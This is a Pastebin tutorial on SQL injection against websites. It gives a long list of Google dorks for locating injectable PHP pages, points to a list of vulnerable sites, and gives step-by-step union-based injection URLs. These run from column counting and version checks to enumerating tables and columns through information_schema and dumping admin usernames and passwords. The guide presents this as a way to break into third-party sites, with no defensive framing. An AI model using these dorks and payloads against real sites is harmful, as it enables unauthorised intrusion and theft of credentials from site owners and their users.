Advertisement
Hailedcap

SQL incjection tutorial

Nov 22nd, 2011
478
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.34 KB | None | 0 0
  1.  
  2.  
  3. Introduction:
  4.  
  5. Sqli (aka SQL Injection OR Structured Query LANGUAGE Injection) IS the FIRST step IN the entry TO exploiting OR hacking websites. It IS easily done AND it IS a great starting off point. Unfortunately most sqli tutorials suck, so that IS why I am writing this one. Sqli IS just basically injecting queries INTO a DATABASE OR USING queries TO GET authorization bypass AS an admin.
  6.  
  7. Finding Sites TO Inject:
  8.  
  9. Finding SQLI Vulnerable sits IS extremely easy ALL you need TO do IS SOME googling. The FIRST thing you need TO do are find SOME dorks.
  10.  
  11. SQLI DORKS:
  12. Code:
  13. inurl:trainers.php?id=
  14. inurl:buy.php?category=
  15. inurl:article.php?ID=
  16. inurl:play_old.php?id=
  17. inurl:declaration_more.php?decl_id=
  18. inurl:pageid=
  19. inurl:games.php?id=
  20. inurl:page.php?file=
  21. inurl:newsDetail.php?id=
  22. inurl:gallery.php?id=
  23. inurl:article.php?id=
  24. inurl:SHOW.php?id=
  25. inurl:staff_id=
  26. inurl:newsitem.php?num=
  27. inurl:readnews.php?id=
  28. inurl:top10.php?cat=
  29. inurl:historialeer.php?num=
  30. inurl:reagir.php?num=
  31. inurl:Stray-Questions-VIEW.php?num=
  32. inurl:forum_bds.php?num=
  33. inurl:game.php?id=
  34. inurl:view_product.php?id=
  35. inurl:newsone.php?id=
  36. inurl:sw_comment.php?id=
  37. inurl:news.php?id=
  38. inurl:avd_start.php?avd=
  39. inurl:event.php?id=
  40. inurl:product-item.php?id=
  41. inurl:SQL.php?id=
  42. inurl:news_view.php?id=
  43. inurl:select_biblio.php?id=
  44. inurl:humor.php?id=
  45. inurl:aboutbook.php?id=
  46. inurl:ogl_inet.php?ogl_id=
  47. inurl:fiche_spectacle.php?id=
  48. inurl:communique_detail.php?id=
  49. inurl:sem.php3?id=
  50. inurl:kategorie.php4?id=
  51. inurl:news.php?id=
  52. inurl:INDEX.php?id=
  53. inurl:faq2.php?id=
  54. inurl:show_an.php?id=
  55. inurl:preview.php?id=
  56. inurl:loadpsb.php?id=
  57. inurl:opinions.php?id=
  58. inurl:spr.php?id=
  59. inurl:pages.php?id=
  60. inurl:announce.php?id=
  61. inurl:clanek.php4?id=
  62. inurl:participant.php?id=
  63. inurl:download.php?id=
  64. inurl:main.php?id=
  65. inurl:review.php?id=
  66. inurl:chappies.php?id=
  67. inurl:READ.php?id=
  68. inurl:prod_detail.php?id=
  69. inurl:viewphoto.php?id=
  70. inurl:article.php?id=
  71. inurl:person.php?id=
  72. inurl:productinfo.php?id=
  73. inurl:showimg.php?id=
  74. inurl:VIEW.php?id=
  75. inurl:website.php?id=
  76. inurl:hosting_info.php?id=
  77. inurl:gallery.php?id=
  78. inurl:rub.php?idr=
  79. inurl:view_faq.php?id=
  80. inurl:artikelinfo.php?id=
  81. inurl:detail.php?ID=
  82. inurl:INDEX.php?=
  83. inurl:profile_view.php?id=
  84. inurl:category.php?id=
  85. inurl:publications.php?id=
  86. inurl:fellows.php?id=
  87. inurl:downloads_info.php?id=
  88. inurl:prod_info.php?id=
  89. inurl:shop.php?do=part&id=
  90. inurl:productinfo.php?id=
  91. inurl:collectionitem.php?id=
  92. inurl:band_info.php?id=
  93. inurl:product.php?id=
  94. inurl:releases.php?id=
  95. inurl:ray.php?id=
  96. inurl:produit.php?id=
  97. inurl:pop.php?id=
  98. inurl:shopping.php?id=
  99. inurl:productdetail.php?id=
  100. inurl:post.php?id=
  101. inurl:viewshowdetail.php?id=
  102. inurl:clubpage.php?id=
  103. inurl:memberInfo.php?id=
  104. inurl:SECTION.php?id=
  105. inurl:theme.php?id=
  106. inurl:page.php?id=
  107. inurl:shredder-categories.php?id=
  108. inurl:tradeCategory.php?id=
  109. inurl:product_ranges_view.php?ID=
  110. inurl:shop_category.php?id=
  111. inurl:transcript.php?id=
  112. inurl:channel_id=
  113. inurl:item_id=
  114. inurl:newsid=
  115. inurl:trainers.php?id=
  116. inurl:news-FULL.php?id=
  117. inurl:news_display.php?getid=
  118. inurl:index2.php?OPTION=
  119. inurl:readnews.php?id=
  120. inurl:top10.php?cat=
  121. inurl:newsone.php?id=
  122. inurl:event.php?id=
  123. inurl:product-item.php?id=
  124. inurl:SQL.php?id=
  125. inurl:aboutbook.php?id=
  126. inurl:preview.php?id=
  127. inurl:loadpsb.php?id=
  128. inurl:pages.php?id=
  129. inurl:material.php?id=
  130. inurl:clanek.php4?id=
  131. inurl:announce.php?id=
  132. inurl:chappies.php?id=
  133. inurl:READ.php?id=
  134. inurl:viewapp.php?id=
  135. inurl:viewphoto.php?id=
  136. inurl:rub.php?idr=
  137. inurl:galeri_info.php?l=
  138. inurl:review.php?id=
  139. inurl:iniziativa.php?IN=
  140. inurl:curriculum.php?id=
  141. inurl:labels.php?id=
  142. inurl:story.php?id=
  143. inurl:look.php?ID=
  144. inurl:newsone.php?id=
  145. inurl:aboutbook.php?id=
  146. inurl:material.php?id=
  147. inurl:opinions.php?id=
  148. inurl:announce.php?id=
  149. inurl:rub.php?idr=
  150. inurl:galeri_info.php?l=
  151. inurl:tekst.php?idt=
  152. inurl:newscat.php?id=
  153. inurl:newsticker_info.php?idn=
  154. inurl:rubrika.php?idr=
  155. inurl:rubp.php?idr=
  156. inurl:offer.php?idf=
  157. inurl:art.php?idm=
  158. inurl:title.php?id=
  159. buy.php?category=
  160. article.php?ID=
  161. play_old.php?id=
  162. declaration_more.php?decl_id=
  163. Pageid=
  164. games.php?id=
  165. page.php?file=
  166. newsDetail.php?id=
  167. gallery.php?id=
  168. article.php?id=
  169. play_old.php?id=
  170. SHOW.php?id=
  171. staff_id=
  172. newsitem.php?num=
  173. readnews.php?id=
  174. top10.php?cat=
  175. historialeer.php?num=
  176. reagir.php?num=
  177. forum_bds.php?num=
  178. game.php?id=
  179. view_product.php?id=
  180. newsone.php?id=
  181. sw_comment.php?id=
  182. news.php?id=
  183. avd_start.php?avd=
  184. event.php?id=
  185. product-item.php?id=
  186. SQL.php?id=
  187. news_view.php?id=
  188. select_biblio.php?id=
  189. humor.php?id=
  190. aboutbook.php?id=
  191. fiche_spectacle.php?id=
  192. communique_detail.php?id=
  193. sem.php3?id=
  194. kategorie.php4?id=
  195. faq2.php?id=
  196. show_an.php?id=
  197. preview.php?id=
  198. loadpsb.php?id=
  199. opinions.php?id=
  200. spr.php?id=
  201. pages.php?id=
  202. announce.php?id=
  203. clanek.php4?id=
  204. participant.php?id=
  205. download.php?id=
  206. main.php?id=
  207. review.php?id=
  208. chappies.php?id=
  209. READ.php?id=
  210. prod_detail.php?id=
  211. viewphoto.php?id=
  212. article.php?id=
  213. play_old.php?id=
  214. declaration_more.php?decl_id=
  215. category.php?id=
  216. publications.php?id=
  217. fellows.php?id=
  218. downloads_info.php?id=
  219. prod_info.php?id=
  220. shop.php?do=part&id=
  221. Productinfo.php?id=
  222. website.php?id=
  223. Productinfo.php?id=
  224. showimg.php?id=
  225. VIEW.php?id=
  226. rub.php?idr=
  227. view_faq.php?id=
  228. artikelinfo.php?id=
  229. detail.php?ID=
  230. collectionitem.php?id=
  231. band_info.php?id=
  232. product.php?id=
  233. releases.php?id=
  234. ray.php?id=
  235. produit.php?id=
  236. pop.php?id=
  237. shopping.php?id=
  238. productdetail.php?id=
  239. post.php?id=
  240. viewshowdetail.php?id=
  241. clubpage.php?id=
  242. memberInfo.php?id=
  243. SECTION.php?id=
  244. theme.php?id=
  245. page.php?id=
  246. shredder-categories.php?id=
  247. tradeCategory.php?id=
  248. shop_category.php?id=
  249. transcript.php?id=
  250. channel_id=
  251. item_id=
  252. newsid=
  253. trainers.php?id=
  254. buy.php?category=
  255. article.php?ID=
  256. play_old.php?id=
  257. iniziativa.php?IN=
  258. detail_new.php?id=
  259. tekst.php?idt=
  260. newscat.php?id=
  261. newsticker_info.php?idn=
  262. rubrika.php?idr=
  263. rubp.php?idr=
  264. offer.php?idf=
  265. hotel.php?id=
  266. art.php?idm=
  267. title.php?id=
  268. look.php?ID=
  269. story.php?id=
  270. labels.php?id=
  271. review.php?id=
  272. chappies.php?id=
  273. news-FULL.php?id=
  274. news_display.php?getid=
  275. index2.php?OPTION=
  276. ages.php?id=
  277. "id=" & intext:"Warning: mysql_fetch_assoc()
  278. "id=" & intext:"Warning: mysql_fetch_array()
  279. "id=" & intext:"Warning: mysql_num_rows()
  280. "id=" & intext:"Warning: session_start()
  281. "id=" & intext:"Warning: getimagesize()
  282. "id=" & intext:"Warning: UNKNOWN()
  283. "id=" & intext:"Warning: pg_exec()
  284. "id=" & intext:"Warning: array_merge()
  285. "id=" & intext:"Warning: mysql_result()
  286. "id=" & intext:"Warning: mysql_num_rows()
  287. "id=" & intext:"Warning: mysql_query()
  288. "id=" & intext:"Warning: filesize()
  289. "id=" & intext:"Warning: require()
  290.  
  291. Pick one of those dorks and add inurl: before it
  292. (If they do not already have it) and then copy and paste
  293. it into google. Pick one of the sites off google and go to it.
  294. For example the url of the page you are on may look like this
  295.  
  296. Code:
  297. http://www.example.com/index.php?id=3
  298.  
  299. To check that it is vulnerable all you have to do is
  300. put a ' at the end of the url. So now your url should
  301. Look like this
  302. Code:
  303. http://www.example.com/index.php?id=3'
  304.  
  305. Press enter and you get some kind of error. The errors will vary
  306. but it should look something like this
  307.  
  308. http://i982.photobucket.com/albums/ae308/blink1337/1.png
  309. Image exceeds set limits. Click to view full size image
  310.  
  311.  
  312. If an error happends that site is vulerable!
  313.  
  314. Also If you are lazy you can check
  315. my list of vulnerable sites here
  316.  
  317. http://allianceforums.co.cc/forums/thread-1249.html
  318.  
  319. Getting Number of Columns
  320.  
  321. After you find your vulnerable site the first step you need to take is
  322. to find the number of columns. The easiest way to do this is
  323. use the statement "ORDER BY". All you have to do is put ORDER BY (number)--
  324. at the end of your url. So it should look like this.
  325.  
  326. Code:
  327. http://www.example.com/index.php?id=3 ORDER BY (number)--
  328.  
  329. You want to start with ORDER BY 1-- and keep increasing the number by 1 until you get an error.
  330.  
  331. For example
  332.  
  333. Code:
  334. http://www.example.com/index.php?id=3 order by 1--
  335. http://www.example.com/index.php?id=3 order by 2--
  336. http://www.example.com/index.php?id=3 order by 3--
  337. http://www.example.com/index.php?id=3 order by 4--
  338. http://www.example.com/index.php?id=3 order by 5--
  339. http://www.example.com/index.php?id=3 order by 6--
  340. http://www.example.com/index.php?id=3 order by 7--
  341. http://www.example.com/index.php?id=3 order by 8--
  342.  
  343. Lets say on order by 8-- you get an error page. This means that the website has 7 columns because
  344. it will give you errors on anything over 7. If you have a bad memory you should open notepad and
  345. write the # of columns you find.
  346.  
  347. Finding Acsessable Columns
  348.  
  349. Now that we have the number of columns we need to get the column numbers that we can grab information from.
  350. We do this by by using the "UNION" "SELECT" and Number of columns. You put them together in your
  351. url like this
  352. Code:
  353. http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--
  354.  
  355. For the end part of the url, (1,2,3,4,5,6,7) You put the number of columns
  356. you found in the first step. Since I found that the site I was testing had 7
  357. columns I put 1,2,3,4,5,6,7. Also remeber to put a - infront of the id number.
  358. After you do that you should get something like this...
  359.  
  360.  
  361. The page should look a bit fucked up and there should be 2 numbers on the page.
  362. These two numbers are the colum numbers we can get information from. We will replace them with statements later on so
  363. write them down or remeber them.
  364.  
  365. Finding MySQL Database Version
  366. The reasons you need the database name is to see weather or not the website is worth your time
  367. because any msql database under 5 you will have to blindly guess the table and column names.
  368. If you are a begginer and you find that the database is below 5 I urge you to find
  369. a different site.
  370.  
  371. Now we take one of the numbers that we found from the step above and replace it with @@version
  372. For Example, before our url looked like this
  373. Code:
  374. http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--
  375.  
  376. Now since we will replace the 1 with @@version
  377.  
  378. Code:
  379. http://www.example.com/index.php?id=-3+UNION+SELECT+@@version,2,3,4,5,6,7--
  380. Press enter and now the page should display the database number.
  381.  
  382.  
  383. Now the number that we had in the first step will be replaced with the database number. As it shows above
  384. The site that I am testing has a version number of 5.0.45. Since this number is 5 or above we will continue working on
  385. this site.
  386.  
  387. Finding Database Names
  388.  
  389. Next we are going to inject the website to find the database names. We do this by replacing @@version
  390. with group_concat(schema_name) and also add + from+information_schema.schemata-- after the last number in our url
  391. So now our url should look like this
  392.  
  393. Code:
  394. http://www.example.com/index.php?id=-3+UNION+SELECT+group_concat(schema_name),2,3,4,5,6,7+ from+information_schema.schemata--
  395.  
  396.  
  397. It will list the database names. Now to find which one is currently in use replace group_concat(schema_name) with
  398. concat(database()) and delete + from+information_schema.schemata So the url should now look like this
  399.  
  400. Code:
  401. http://www.example.com/index.php?id=-3+UNION+SELECT+concat(database()),2,3,4,5,6,7--
  402. It will display which database which is in use. You may want to write it down.
  403.  
  404.  
  405. Finding Table Names
  406.  
  407.  
  408. To get table names of current database you need to replace concat(database()) with group_concat(table_name)
  409. and add from information_schema.tables where table_schema=database() between the last number and the -- also remove the
  410. + signs from the union select. Now your url should look like this
  411.  
  412. Code:
  413. http://www.example.com/index.php?id=-3 union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where table_schema=database()--
  414.  
  415. The page should now show the Table names. You may want to write them down.
  416.  
  417. http://i982.photobucket.com/albums/ae308/blink1337/untitled-1.png
  418. Image exceeds set limits. Click to view full size image
  419.  
  420.  
  421.  
  422. Finding Column Names
  423.  
  424. This is exactly like getting table names you just change table_name to column_name and information_schema.tables to information_schema.columns.
  425. So your url should look like.
  426.  
  427. Code:
  428. http://www.example.com/index.php?id=-3 union select group_concat(column_name),2,3,4,5,6,7 from information_schema.columns where table_schema=database()--
  429.  
  430. This should give you the column names. You may want to write them down.
  431.  
  432. Lets say they gave us back the cloumn names
  433.  
  434. admin_username
  435. admin_password
  436.  
  437. Getting Information
  438.  
  439. Now we can have the database name, table names, and colomn names we can put them together and
  440. pull information from them. Do to this we need to put the following in our url.
  441. Code:
  442. http://www.example.com/index.php?id=-3 union select 1,group_concat(Columnname,0x3a,columnname,0x3a),2,3,4,5,6,7 from databasename.tablename--
  443.  
  444. Now replace columnname with the column names you want infomation from. The 0x3a will make a : to seperate the information
  445. for you. Put as many column names as you want to remeber to stick to the format. Also replace databasename.tablename
  446. With the database name and the table name the column names where in. After all this your url should look something
  447. like this.
  448.  
  449. Code:
  450. http://www.example.com/index.php?id=-3 union select 1,group_concat(admin_username,0x3a,admin_password,0x3a),2,3,4,5,6,7 from whippit.t_admin--
  451.  
  452. Now you should get usernames and passwords for the admin or what ever information you wanted to get.
  453.  
  454.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement